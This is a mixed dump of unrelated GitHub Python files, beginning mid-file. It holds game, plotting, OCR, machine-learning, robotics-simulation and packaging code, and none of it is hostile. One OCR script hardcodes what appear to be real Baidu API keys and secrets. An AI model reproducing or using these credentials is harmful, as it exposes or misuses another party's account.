注册aigis游戏,得到有效游戏链接\n validUrl = mail_nutaku._regGame()\n if validUrl:\n self.gameUrl = validUrl.replace('&','&')\n \n","repo_name":"kpli/AigisNutaku","sub_path":"Release/logic.py","file_name":"logic.py","file_ext":"py","file_size_in_byte":1480,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16071896576","text":"from common import get_list_from_file, segmentation\nimport matplotlib.pyplot as plt\nimport seaborn as sns\nimport sys\n\nside_channel = get_list_from_file(sys.argv[1])\n\n(segments, ranges) = segmentation(side_channel)\n\nbottom = ranges[1][0]\ntop = ranges[1][1]\n\n# plot\ncolors = [\"green\", \"magenta\"]\nfor (lower, upper, mean), color in zip(ranges, colors):\n plt.axhline(y=mean, ls = \"-\", color = color)\n plt.axhline(y=lower, ls = \"--\", color = color)\n plt.axhline(y=upper, ls = \"--\", color = color)\n\nfor a, b in segments:\n plt.axvline(x=a)\n plt.axvline(x=b)\n\nmarkersize=2\nside_channel = side_channel[:segments[-1][1]]\nplt.ylim((bottom, top))\nplt.plot(side_channel, marker=\"o\", markersize=markersize, color=\"blue\", linestyle=\"None\")\n\nplt.locator_params(nbins=50)\nplt.show()\n","repo_name":"ndokmai/port-contention","sub_path":"scripts/plot.py","file_name":"plot.py","file_ext":"py","file_size_in_byte":781,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"40490153504","text":"dataDict={}\ndataDict['apel']='apple'\ndataDict['semangka']='waterlemon'\ndataDict['anggur']='grape'\ndataDict['stoberi']='strawberry'\ndataDict['nanas']='pineapple'\ndataDict['pisang']='banana'\ndataDict['mangga']='mango'\nfor fruit in dataDict:\n print(fruit, ' : ',dataDict[fruit])\nprint(dataDict)","repo_name":"dewialqurani/ALPRO_SEMESTER1","sub_path":"LATIHAN DICTIONARY/Bule kuliah mak.py","file_name":"Bule kuliah mak.py","file_ext":"py","file_size_in_byte":294,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"29274553682","text":"from collections import Counter\nstudents_grade_level = [10,12,12,10,9,9,11,11,12,10,12,9,11,9,12,10,10,12]\nget_count =Counter(students_grade_level)\n# Test list and tuple unpacking\ntop_two_classes = get_count.most_common(2)\ntop_class = top_two_classes[0]\nsec_top_class = top_two_classes[1]\nprint(\"The top two classes with the most students are {}th and {}th grade with\\\n {} and {} students respectively\".format(top_class[0], sec_top_class[0], \\\n top_class[1], sec_top_class[1]))\ng9_counter = 0\ng11_counter = 0\nfor keys, values in get_count.items():\n if keys == 9:\n g9_counter = values\n elif keys== 11:\n g11_counter = values\nprint(\"There are currently {} freshmen in this year's class\".format(g9_counter))\nprint(\"There are currently {} juniors in this year's class\".format(g11_counter))\n","repo_name":"BornRiot/Python.Udemy.Complete_Python_BootCamp","sub_path":"advanced_python_modules/groups.py","file_name":"groups.py","file_ext":"py","file_size_in_byte":806,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"72"} +{"seq_id":"23808231664","text":"import numpy as np\nimport scipy\nfrom scipy import stats\nimport pandas as pd\nfrom scipy.stats import entropy\nfrom scipy.special import gamma\nfrom sklearn.preprocessing import scale,normalize\ndef my_scale(vec):\n vec = (vec-np.mean(vec))/np.std(vec, ddof=1)\n return vec\n\ndef get_color_nss_param(vec):\n \"\"\"Estimate color NSS parameters.\n :param vec: The vector that we want to approximate its parameter.\n :type vec: np.ndarray\n :scale is the normalization function\n \"\"\"\n return [estimate_basic_param(vec)]\n\n\ndef get_geometry_nss_param(vec):\n \"\"\"Estimate geometry NSS parameters.\n :param vec: The vector that we want to approximate its parameter.\n :type vec: np.ndarray\n :scale is the normalization function\n \"\"\"\n return [estimate_basic_param(vec),estimate_ggd_param(vec),estimate_aggd_param(my_scale(vec)),estimate_gamma_param(vec)]\n\ndef Entropy(labels):\n #probs = pd.Series(labels).value_counts() / len(labels)\n probs = pd.Series(labels).value_counts(bins = 2000) / len(labels)\n en = stats.entropy(probs)\n return en\n \n \ndef estimate_basic_param(vec):\n \"\"\"Estimate basic parameter.\n :param vec: The vector that we want to approximate its parameter.\n :type vec: np.ndarray\n \"\"\"\n result = [np.mean(vec),np.std(vec, ddof=1),Entropy(vec)]\n return result \n \ndef estimate_ggd_param(vec):\n \"\"\"Estimate GGD parameter.\n :param vec: The vector that we want to approximate its parameter.\n :type vec: np.ndarray\n \"\"\"\n gam = np.arange(0.2, 10 + 0.001, 0.001)\n r_gam = (gamma(1.0 / gam) * gamma(3.0 / gam) / (gamma(2.0 / gam) ** 2))\n\n sigma_sq = np.mean(vec ** 2)\n sigma = np.sqrt(sigma_sq)\n E = np.mean(np.abs(vec))\n rho = sigma_sq / E ** 2\n\n differences = abs(rho - r_gam)\n array_position = np.argmin(differences)\n gamparam = gam[array_position]\n result = [gamparam, sigma]\n return result\n\ndef estimate_aggd_param(vec):\n \"\"\"Estimate AGGD parameter.\n :param vec: The vector that we want to approximate its parameter.\n :type vec: np.ndarray\n \"\"\"\n gam = np.arange(0.2, 10 + 0.001, 0.001)\n r_gam = ((gamma(2.0 / gam)) ** 2) / (\n gamma(1.0 / gam) * gamma(3.0 / gam))\n\n left_std = np.sqrt(np.mean((vec[vec < 0]) ** 2))\n right_std = np.sqrt(np.mean((vec[vec > 0]) ** 2))\n gamma_hat = left_std / right_std\n rhat = (np.mean(np.abs(vec))) ** 2 / np.mean((vec) ** 2)\n rhat_norm = (rhat * (gamma_hat ** 3 + 1) * (gamma_hat + 1)) / (\n (gamma_hat ** 2 + 1) ** 2)\n\n differences = (r_gam - rhat_norm) ** 2\n array_position = np.argmin(differences)\n alpha = gam[array_position]\n const = np.sqrt(gamma(1 / alpha)) / np.sqrt(gamma(3 / alpha))\n mean_param = (right_std - left_std) * (\n gamma(2 / alpha) / gamma(1 / alpha)) * const\n result = [alpha, mean_param,left_std, right_std]\n return result\n \n \ndef estimate_gamma_param(vec):\n \"\"\"Estimate Gamma parameter.\n :param vec: The vector that we want to approximate its parameter.\n :type vec: np.ndarray\n \"\"\"\n mean = np.mean(vec)\n std = np.std(vec)\n shape = (mean/std)**2\n scale = (std**2)/mean\n result = [shape,scale]\n return result\n","repo_name":"zzc-1998/NR-3DQA","sub_path":"feature_extract_pc/nss_functions.py","file_name":"nss_functions.py","file_ext":"py","file_size_in_byte":3474,"program_lang":"python","lang":"en","doc_type":"code","stars":17,"dataset":"github-code","pt":"72"} +{"seq_id":"22436011467","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# ==============================================================================\n# Created By : Charley ∆. Lebarbier\n# Date Created : Friday 16 Dec. 2022\n# ==============================================================================\n\n\nimport datetime\nimport random\nimport names\n\nfrom typing import Union\n\nimport modules.administration as admin\nimport modules.resident as resident\n\n\n\n\nclass Fake:\n \"\"\"Add fake patients and employees in db\"\"\"\n\n def __init__(self, nbr_patient: int, nbr_employee : int) -> None:\n self.nbr_patient = nbr_patient\n self.nbr_employee = nbr_employee\n\n\n def add_fake_patient_db(self) -> None:\n \"\"\"Add fake new patient\"\"\"\n\n for i in range(self.nbr_patient): \n identifiant_patient, new_patient, date_entree, date_sortie = Fake.create_fake_patient()\n\n #**** Save in db ****#\n # Rentre le faux patient en db avec la date d'entrée\n new_patient = resident.Patient(*new_patient)\n resident.Patient.entrer_a_l_hopital(new_patient)\n new_archive = admin.Archive(identifiant_patient, date_entree, None)\n admin.Archive.save_in_db(new_archive)\n\n # Sort le patient et inscrit la date de sortie seulement si la date est révolue\n if date_sortie <= datetime.date.today():\n resident.Patient.sortir_de_l_hopital(identifiant_patient)\n update_archive = admin.Archive(identifiant_patient, date_entree, date_sortie)\n admin.Archive.save_in_db(update_archive)\n\n\n def add_fake_employee_db(self) -> None:\n \"\"\"Add fake new employee\"\"\"\n\n for i in range(self.nbr_employee): \n identifiant_employee, new_employee, date_entree, date_sortie = Fake.create_fake_employee()\n\n #**** Save in db ****#\n # Rentre le faux employé en db avec la date d'entrée\n new_employee = resident.RH(*new_employee)\n resident.RH.debuter_CDD_CDI(new_employee)\n new_archive = admin.Archive(identifiant_employee, date_entree, None)\n admin.Archive.save_in_db(new_archive)\n\n # Sort l'employé et inscrit la fin de contrat seulement si la date est révolue\n if date_sortie <= datetime.date.today():\n resident.RH.quitter_CDD_CDI(identifiant_employee)\n update_archive = admin.Archive(identifiant_employee, date_entree, date_sortie)\n admin.Archive.save_in_db(update_archive)\n\n\n @staticmethod\n def create_fake_patient() -> Union[str, datetime.date]:\n \"\"\"Initiate a random patient\"\"\"\n\n # Nom\n nom = names.get_last_name()\n\n # Prenom\n prenom = names.get_first_name()\n\n # Grp Sanguin\n bloodtype = ['A+','A-','AB+','AB-','B+','B-','O+','O-']\n grp_sanguin=random.choice(bloodtype)\n\n # Début du séjour\n date_entree = datetime.date.today() - datetime.timedelta(days=random.randint(1,365))\n\n # Fin séjour (bridé à 90 jours max)\n date_sortie = date_entree + datetime.timedelta(days=random.randint(1,90))\n\n # ID patient\n identifiant_patient = nom+prenom+grp_sanguin+str(date_entree)\n\n # New Patient information\n new_patient = (identifiant_patient, nom, prenom, grp_sanguin)\n\n return identifiant_patient, new_patient, date_entree, date_sortie\n\n\n @staticmethod\n def create_fake_employee() -> Union[str, int, datetime.date]:\n \"\"\" Initiate a random patient \"\"\"\n\n # Nom\n nom = names.get_last_name()\n\n # Prenom\n prenom = names.get_first_name()\n\n # Salaire\n salaire = random.randrange(1000, 500000, 100)\n\n # Début du séjour\n date_entree = datetime.date.today() - datetime.timedelta(days=random.randint(1,365))\n\n # Fin séjour\n date_sortie = date_entree + datetime.timedelta(days=random.randint(1,365))\n\n # ID patient\n identifiant_employee = nom+prenom+str(salaire)+str(date_entree)\n\n # New Patient information\n new_employee = (identifiant_employee, nom, prenom, salaire)\n\n return identifiant_employee, new_employee, date_entree, date_sortie","repo_name":"CharleyDL/ERP_CHU","sub_path":"modules/fake_resident.py","file_name":"fake_resident.py","file_ext":"py","file_size_in_byte":4227,"program_lang":"python","lang":"fr","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"70595700392","text":"from aip import AipOcr, AipImageClassify\n\n\ndef get_file_content(filePath):\n with open(filePath, 'rb') as fp:\n return fp.read()\n\n\ndef OCR(filePath):\n APP_ID = '16560947'\n API_KEY = 'zGEh2RF4tg8mauYuDUGv0eCP'\n SECRET_KEY = 'wndwge4cGXlp5sPHKNQYqN4NiTZ1SRay'\n client = AipOcr(APP_ID, API_KEY, SECRET_KEY)\n filePath = \"/home/lwf/scan_recognition/\" + filePath\n image = get_file_content(filePath)\n client.basicGeneral(image)\n options = {}\n options[\"language_type\"] = \"CHN_ENG\"\n options[\"detect_direction\"] = \"true\"\n options[\"detect_language\"] = \"true\"\n options[\"probability\"] = \"true\"\n ans = \"\"\n for i in client.basicGeneral(image, options)['words_result']:\n ans += i['words'] + '\\n'\n return ans\n\n\ndef image_labels(filePath):\n APP_ID = '16562491'\n API_KEY = 'RjFLMA41ELxZG0A07A3UgxDV'\n SECRET_KEY = '4Kk6jdzfNliYwEVFCOrjwtUee7Ylu6QP'\n filePath = \"/home/lwf/scan_recognition/\" + filePath\n client = AipImageClassify(APP_ID, API_KEY, SECRET_KEY)\n image = get_file_content(filePath)\n client.advancedGeneral(image)\n options = {}\n options[\"baike_num\"] = 5\n ret = client.advancedGeneral(image, options)\n return ret['result'][0]['root'] + ret['result'][0]['keyword']\n\n\nif __name__ == '__main__':\n ans = image_labels(\"static/images/2019/06/18/123r.jpg\")\n print(ans)\n","repo_name":"az2181036/scan_recognition","sub_path":"image_recognition/OCR_and_IMAGE.py","file_name":"OCR_and_IMAGE.py","file_ext":"py","file_size_in_byte":1352,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"16329259453","text":"\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport time\nimport tensorflow as tf\nimport pickle\nimport wfdb\nfrom sklearn.utils import class_weight\nfrom sklearn.model_selection import train_test_split\n\n# Hyper-parameters\nsequence_length = 240\nepochs = 1000#int(input('Enter Number of Epochs (or enter default 1000): '))\nFS = 100.0\n\ndef z_norm(result):\n result_mean = np.mean(result)\n result_std = np.std(result)\n result = (result - result_mean) / result_std\n return result\n\ndef split_data(X):\n X1 = []\n X2 = []\n for index in range(len(X)):\n X1.append([X[index][0], X[index][1]])\n X2.append([X[index][2], X[index][3]])\n\n return np.array(X1).astype('float64'), np.array(X2).astype('float64')\n\ndef get_data():\n with open('train_input.pickle','rb') as f: \n X_train = np.asarray(pickle.load(f))\n with open('train_label.pickle','rb') as f: \n y_train = np.asarray(pickle.load(f))\n with open('val_input.pickle','rb') as f: \n X_val = np.asarray(pickle.load(f))\n with open('val_label.pickle','rb') as f: \n y_val = np.asarray(pickle.load(f))\n with open('test_input.pickle','rb') as f: \n X_test = np.asarray(pickle.load(f))\n with open('test_label.pickle','rb') as f: \n y_test = np.asarray(pickle.load(f))\n\n\n #X_train, X_test, y_train, y_test = train_test_split(X, y, test_size=0.1, random_state=42)\n '''\n X_train = X_train[:, 0, :]\n X_test = X_test[:, 0, :]\n X_train = np.reshape(X_train, (X_train.shape[0], X_train.shape[1], 1))\n X_test = np.reshape(X_test, (X_test.shape[0], X_test.shape[1], 1))\n '''\n X_train1, X_train2 = split_data(X_train)\n X_val1, X_val2 = split_data(X_val)\n X_test1, X_test2 = split_data(X_test)\n\n X_train1 = np.transpose(X_train1, (0, 2, 1))\n #X_train2 = np.reshape(X_train2, (X_train2.shape[0], X_train2.shape[1], 1))\n X_test1 = np.transpose(X_test1, (0, 2, 1))\n #X_test2 = np.reshape(X_test2, (X_test2.shape[0], X_test2.shape[1], 1))\n X_val1 = np.transpose(X_val1, (0, 2, 1))\n return X_train1, X_train2, y_train, X_val1, X_val2, y_val, X_test1, X_test2, y_test\n\n\n\ndef build_model():\n \n layers = {'input': 2, 'hidden1': 256, 'hidden2': 256, 'hidden3': 256, 'output': 1}\n x1 = tf.keras.layers.Input(shape=(sequence_length, layers['input']))\n m1 = tf.keras.layers.LSTM(layers['hidden1'], \n recurrent_dropout=0.5,\n return_sequences=True)(x1)\n m1 = tf.keras.layers.LSTM(\n layers['hidden2'],\n recurrent_dropout=0.5,\n return_sequences=True)(m1)\n\n m1 = tf.keras.layers.LSTM(\n layers['hidden3'],\n recurrent_dropout=0.5,\n return_sequences=False)(m1)\n\n x2 = tf.keras.layers.Input(shape=(2,))\n m2 = tf.keras.layers.Dense(32)(x2)\n\n #merged = Merge([model1, model2], mode='concat')\n merged = tf.keras.layers.Concatenate(axis=1)([m1, m2])\n\n out = tf.keras.layers.Dense(8)(merged)\n out = tf.keras.layers.Dense(layers['output'], kernel_initializer='normal')(out)\n out = tf.keras.layers.Activation(\"sigmoid\")(out)\n \n model = tf.keras.models.Model(inputs=[x1, x2], outputs=[out])\n\n start = time.time()\n model.compile(loss=\"binary_crossentropy\", optimizer=\"adam\",\n metrics = ['accuracy'])\n print (\"Compilation Time : \", time.time() - start)\n\n model.summary()\n return model\n\n\ndef run_network(model=None, data=None):\n global_start_time = time.time()\n\n print ('\\nData Loaded. Compiling...\\n')\n print('Loading data... ')\n X_train1, X_train2, y_train, X_val1, X_val2, y_val, X_test1, X_test2, y_test = get_data()\n\n class_w = class_weight.compute_class_weight(class_weight='balanced',\n classes=np.unique(y_train),\n y=y_train)\n\n print (class_w)\n\n if model is None:\n model = build_model()\n\n try:\n print(\"Training\")\n\n class_w = {i : class_w[i] for i in range(2)}\n callback = tf.keras.callbacks.EarlyStopping(monitor='val_loss', patience=3)\n history = model.fit([X_train1, X_train2], y_train, \n validation_data=([X_val1, X_val2], y_val),\n callbacks=[callback],\n epochs=epochs, batch_size=256, class_weight=class_w)\n\n import matplotlib.pyplot as plt\n '''\n plt.plot(history.losses)\n plt.ylabel('loss')\n plt.xlabel('epoch')\n plt.legend(['train'], loc='upper left')\n plt.show()\n '''\n # Evaluate Model\n y_pred = model.predict([X_test1, X_test2])\n scores = model.evaluate([X_test1, X_test2], y_test)\n print(\"%s: %.2f%%\" % (model.metrics_names[1], scores[1] * 100))\n\n\n except KeyboardInterrupt:\n print(\"prediction exception\")\n print ('Training duration (s) : ', time.time() - global_start_time)\n return model\n\n\n print ('Training duration (s) : ', time.time() - global_start_time)\n\n return model\n\nrun_network()","repo_name":"pss1207/sleep_apnea","sub_path":"train.py","file_name":"train.py","file_ext":"py","file_size_in_byte":5095,"program_lang":"python","lang":"en","doc_type":"code","stars":51,"dataset":"github-code","pt":"72"} +{"seq_id":"21596922367","text":"from hud import volume\n\n\ninputs = {\n \"FullHorizontalFOV\": 10,\n \"FullVerticalFOV\": 4,\n \"VirtualImageDistance\": 15000,\n \"EyeboxToMirror1\": 1000,\n \"EyeboxFullWidth\": 140,\n \"EyeboxFullHeight\": 60,\n \"Mirror1ObliquityAngle\": 30,\n \"HUD_SCREEN_10x5_FOV_BASELINE_WIDTH\": 70,\n \"MechanicalVolumeIncrease\": 40,\n \"M1M2OverlapFraction\": 0,\n \"PGUVolumeEstimate\": 0.5\n}\n\nprint(volume.TotalMechanicalVolumeOfHUD(inputs))\n","repo_name":"sed-group/VISP-Core","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":437,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"42783074623","text":"class Solution:\n def rob(self, nums: List[int]) -> int:\n if len(nums) == 1:\n return nums[0]\n if len(nums) == 2:\n return max(nums)\n \n dp1 = [0] * (len(nums)-1)\n dp2 = [0] * (len(nums)-1)\n first_flag = False\n for i in range(len(nums)-1):\n dp1[i] = max(dp1[i-1], dp1[i-2]+ nums[i])\n for i in range(1, len(nums)):\n dp2[i-1] = max(dp2[i-2], dp2[i-3]+ nums[i])\n \n max1 = max(dp1)\n max2 = max(dp2)\n \n return max(max1, max2)","repo_name":"naosekine/leetcode-python","sub_path":"src/213_HouseRobberII.py","file_name":"213_HouseRobberII.py","file_ext":"py","file_size_in_byte":550,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"17447024492","text":"\"\"\"\ndjango-condor\n-------------\n\ndjango-condor is a Python based Django application for managing and\nrunning Condor jobs on a grid through the Django web-framework.\n\nUsing django-condor\n```````````````````\n\n::\n\n from condor import CondorHost, CondorJob, GB\n\n # create a condor host object\n h = CondorHost( hostname=\"my.host\",\n username=\"myname\", )\n remotedir=\"/path/to/data\")\n h.env={\"PATH\":\"/path/to/condor/bin\",\n \"CONDOR_CONFIG\":\"/path/to/config\"}\n h.save()\n\n # create a condor job object\n j = CondorJob( host=h )\n j.name(\"testJob\")\n j.timeout(1800)\n j.exec(\"test_executable\")\n j.args([\"foo\",\"bar\",42])\n j.ram_min(2048 * GB)\n j.save()\n\n ...\n\n # retrieve that job elsewhere\n j = CondorJob.objects.get(name=\"testJob\")\n\n # submit the job to the scheduler\n j.submit()\n # wait some time for remote job submission\n j.update_status()\n\n\nLinks\n`````\n\n* `website `_\n* `documentation `_\n* `development version\n `_\n\"\"\"\nimport os\nfrom distutils.core import setup\n\nVERSION = '0.2'\n\nsetup(\n name='django-condor',\n version=VERSION,\n description='A simple bridge between Condor and django',\n long_description=file(\n os.path.join(os.path.dirname(__file__), 'README.md')\n ).read(),\n author=\"Daniel O'Donovan\",\n author_email='odonovan@hkl.hms.harvard.edu',\n license='BSD',\n url='http://github.com/danodonovan/django-condor',\n classifiers=[\n 'Development Status :: %s - Alpha' % VERSION,\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Programming Language :: Python',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n 'Framework :: Django',\n 'Environment :: Web Environment',\n ],\n packages=[\n 'condor',\n ],\n package_data={\n 'condor': ['test_scripts/*']\n },\n install_requires=[\n 'Django>=1.2',\n ],\n)\n\n\n\n","repo_name":"danodonovan/django-condor","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":2050,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"72"} +{"seq_id":"73747740072","text":"import pandas as pd\n\nfrom IPython.core.magic import (Magics, magics_class, line_magic, cell_magic, line_cell_magic)\nfrom IPython import get_ipython\nfrom IPython.core.display import display, HTML\nfrom datetime import datetime \nfrom os.path import join, split\nimport getpass\nimport re\nfrom ira.utils.nb_functions import z_ld, z_save\n\nfrom skb.structs import mstruct\nfrom skb.utils import generate_id, get_short_id\n\nimport platform\n\n\ndef get_user_and_path():\n try:\n import re\n from os.path import basename, split\n from IPython.core.display import HTML, display\n from notebook import notebookapp\n\n servers = list(notebookapp.list_running_servers())\n ex = re.compile('http[s]?://(.+:?\\d+)(/.+)')\n b_url = ex.match(servers[0]['url']).groups()[1]\n basic_path = servers[0]['notebook_dir']\n user = list(filter(lambda x: x, b_url.split('/')))[-1]\n return user, basic_path\n except:\n print(\"Error getting data ...\")\n return None, None\n \n\n@magics_class\nclass _KNodes(Magics):\n \"\"\"\n %%k jupyter cell magic (as some first experimenting) \n \"\"\"\n \n @cell_magic\n def k(self, line, cells):\n return self._k(line, cells, True)\n \n @cell_magic\n def k_(self, line, cells):\n return self._k(line, cells, False)\n \n def _k(self, line, cells, store=True):\n if line:\n args = [s.strip() for s in line.split(' ') if s]\n if len(args) < 2:\n raise ValueError('First line must contain type and path for node')\n _type = args[0]\n _path = args[1]\n else:\n raise ValueError('First line must not be empty')\n \n _tags = []\n _name, _descr, _data, _data_type, _refs = None, '', None, None, []\n _time_span = None\n lns = [l.strip() for l in cells.split('\\n') if l]\n \n is_guarded = lambda s: s.startswith('`')\n is_text = lambda s: s.startswith('\\'') or s.startswith('\"')\n \n for l in lns:\n if l.startswith('#'): continue\n \n # check any tagged lines\n matches = re.match('([\\w,:]*)\\ *:\\ *(.*)', l)\n if matches:\n _t, d = matches.groups()\n d = d.strip()\n \n if _t in ['s', 'span']:\n _time_span = d\n \n if _t in ['t', 'tag', 'tags']:\n [_tags.append(s.strip()) for s in d.split(' ') if s]\n \n elif _t in ['r', 'ref']:\n _refs.append(d)\n \n elif _t in ['::', 'data']:\n if not _data:\n _data = d\n _d_s = re.match('(.*)\\ *:\\ *(\\w+)$', d)\n if _d_s:\n _data_type = _d_s.group(2) \n else:\n print(f'\\n\\tWarning: data tag is already declared earlier for {_data}\\n')\n \n continue\n \n # check any descriptions after name was declared\n dcs = re.match('\\ *-(.*)', l)\n if _name and dcs:\n _descr += dcs.group(1) + \"\\n\"\n continue\n \n # if just a line - use first non empy as name\n _name = l if _name is None else _name\n \n # process data etc\n if _data is not None and _data:\n ipy = get_ipython()\n\n if is_guarded(_data):\n _data = eval(_data[1:], ipy.user_global_ns)\n\n elif _data_type != 'text' and not is_text(_data):\n if _data not in ipy.user_global_ns:\n raise ValueError(f\"Can't find variable '{_data}' in current namespace !\")\n _data = ipy.user_global_ns.get(_data)\n \n user, path = get_user_and_path()\n _id = generate_id(_name + _descr + _type, suffix=None)\n d2s = {\n 'id': _id, 'path': _path,\n 'type': _type, 'name': _name, 'description': _descr,\n 'data': _data, 'data_type': _data_type,\n 'tags': list(set(_tags)), 'reference': _refs,\n 'created': datetime.now().isoformat(),\n 'timespan': _time_span,\n 'author': user, \n 'meta': {\n 'cwd': path,\n 'python': platform.python_version(),\n 'node': platform.node(),\n 'version': platform.version(),\n 'os': platform.system(), \n }\n }\n# db_dest = join('knodes', _path) + '.' + _id \n if store:\n z_save(f\"knodes/{_id}\", d2s, dbname='skb')\n print(f'> saved to {_id}')\n else:\n print(d2s)\n\nget_ipython().register_magics(_KNodes)\n","repo_name":"dmarienko/skb","sub_path":"nodes.py","file_name":"nodes.py","file_ext":"py","file_size_in_byte":4851,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"72"} +{"seq_id":"41000002527","text":"import setuptools\nimport os\n\n\nif os.path.isfile(\"README.md\"):\n with open(\"README.md\", encoding=\"utf8\") as fin:\n long_description = fin.read()\nelse:\n long_description = \"\"\n\nrequirements = []\nif os.path.isfile(\"requirements\"):\n with open(\"requirements.txt\") as fin:\n requirements.append(i.replace(\"\\n\", \"\") for i in fin.readlines())\n\nsetuptools.setup(\n name=\"metia\",\n version=\"0.3.5\",\n author=\"David Yu\",\n author_email=\"hzjlyz@gmail.com\",\n description=\"A tool to parse and extract audio metadata.\",\n long_description=long_description,\n long_description_content_type=\"text/markdown\",\n url=\"https://github.com/Davidyz/metia\",\n project_urls={\"Bug Tracker\": \"https://github.com/Davidyz/metia/issues\"},\n classifiers=[\n \"Programming Language :: Python :: 3\",\n \"License :: OSI Approved :: MIT License\",\n \"Operating System :: POSIX :: Linux\",\n \"Operating System :: MacOS\",\n \"Topic :: Multimedia\",\n ],\n entry_points={\n \"console_scripts\": [\"metia-probe = metia.executables:metia_probe\"]\n },\n package_dir={\"\": \"src\"},\n packages=setuptools.find_packages(where=\"src\"),\n python_requires=\">=3.8\",\n install_requires=requirements,\n)\n","repo_name":"Davidyz/metia","sub_path":"setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":1230,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"34910714020","text":"import pygame\n\n\nclass BoxCollider:\n\n def __init__(self, width, height, obj):\n try:\n self.x = obj.x + obj.image.get_width() / 2\n self.y = obj.y + obj.image.get_height() / 2\n except AttributeError:\n self.x = obj.x\n self.y = obj.y\n self.width = width\n self.height = height\n\n def render(self, canvas):\n rect = (self.x - self.width / 2, self.y - self.height / 2, self.width, self.height)\n # pygame.draw.rect(canvas, (0, 255, 0), rect, 1)\n\n def corners(self):\n return (\n self.x - self.width / 2,\n self.x + self.width / 2,\n self.y - self.height / 2,\n self.y + self.height / 2\n )\n\n def overlap(self, other):\n left1, right1, top1, bot1 = self.corners()\n left2, right2, top2, bot2 = other.corners()\n if left1 < right2 and right1 > left2 and top1 - 4 < bot2 and bot1 + 4 > top2:\n return True\n else:\n return False\n","repo_name":"quyctd/finding-pitbull-codecamp-2018","sub_path":"Minh/physics/box_collider.py","file_name":"box_collider.py","file_ext":"py","file_size_in_byte":1008,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"67"} +{"seq_id":"16597258654","text":"#!/usr/bin/env python3\n\nfrom anpy_lib import file_io\nfrom anpy_lib import column_creation\nfrom anpy_lib import time_manage\nimport datetime as dt\n\nPATH = 'basic_log.xlsx'\nJSON_PATH = 'data.json'\n\n_temp_subjects = 'temp1 temp2 temp3 temp4'.split(' ')\n\nwb = file_io.load_workbook(PATH)\nworksheet_ready, ws = file_io.get_relevant_worksheet(wb)\ntry:\n m = time_manage.Manager.from_json(file_io.load_json(JSON_PATH))\nexcept FileNotFoundError:\n m = time_manage.Manager(dt.time(10, 0),\n dt.date.today(),\n _temp_subjects,\n [c.__name__\n for c\n in column_creation.DEFAULT_COLUMNS])\n\nif not worksheet_ready:\n column_creation.create_stat_columns()\n column_creation.create_subjects(_temp_subjects)\n column_creation.Column.make_all(ws)\n\n\ndef select_from_menu(items):\n for idx, item in enumerate(items):\n print(idx, item)\n try:\n result = int(input(\"Please choose a number.\\n> \"))\n except ValueError:\n print('Invalid')\n while result < 0 or result >= len(items):\n try:\n result = int(input(\"Please choose a number.\\n> \"))\n except ValueError:\n pass\n print('Invalid')\n return result\n\n\nwhile True:\n if m.timer_running:\n print(\"Timer for {} is running\".format(m.cur_subject))\n choice = select_from_menu(('stop', 'finish', 'cancel', 'quit'))\n if choice == 0:\n m.stop_timer()\n m.export_to_json(JSON_PATH)\n if choice == 1:\n m.stop_timer()\n m.export_to_json(JSON_PATH)\n m.write_data(ws, dt.time(10, 30))\n break\n if choice == 3:\n quit()\n else:\n choice = select_from_menu(m.subjects)\n m.start_timer(choice)\n m.export_to_json(JSON_PATH)\n\n\nfile_io.save_file(wb, PATH)\n","repo_name":"rmpurp/anpy_old","sub_path":"basic_ui.py","file_name":"basic_ui.py","file_ext":"py","file_size_in_byte":1906,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"67"} +{"seq_id":"43621340351","text":"import torch\nimport pandas as pd\nfrom isaacgym.torch_utils import torch_rand_float, to_torch\n\nfrom gym.utils.math import exp_avg_filter\n\nfrom gym import LEGGED_GYM_ROOT_DIR\nfrom gym.envs.mini_cheetah.mini_cheetah_osc import MiniCheetahOsc\n\nMINI_CHEETAH_MASS = 8.292 * 9.81 # Weight of mini cheetah in Newtons\n\n\nclass MiniCheetahFloquet(MiniCheetahOsc):\n\n def _init_buffers(self):\n super()._init_buffers()\n\n self.last_phase_1 = torch.zeros(self.num_envs, 4, 2,\n device=self.device)\n self.last_phase_2 = torch.zeros(self.num_envs, 4, 2,\n device=self.device)\n self.last_phase_3 = torch.zeros(self.num_envs, 4, 2,\n device=self.device)\n self.last_phase_4 = torch.zeros(self.num_envs, 4, 2,\n device=self.device)\n self.crossings = torch.zeros_like(self.oscillators, dtype=torch.bool)\n self.floquet_reward = torch.zeros_like(self.crossings,\n dtype=torch.float32)\n\n self.average_frequency = (torch.ones_like(self.oscillators)\n * self.osc_omega)\n self.max_freq_diff = torch.zeros(self.num_envs, device=self.device)\n self.last_cross = torch.zeros_like(self.oscillators,\n dtype=torch.long)\n\n def _pre_physics_step(self):\n super()._pre_physics_step()\n\n def _post_physics_step(self):\n super()._post_physics_step()\n self.max_freq_diff = self.average_frequency.max(dim=1)[0] \\\n - self.average_frequency.min(dim=1)[0]\n\n def _step_oscillators(self, dt=None):\n if dt is None:\n dt = self.dt\n\n local_feedback = self.osc_coupling * (torch.cos(self.oscillators)\n + 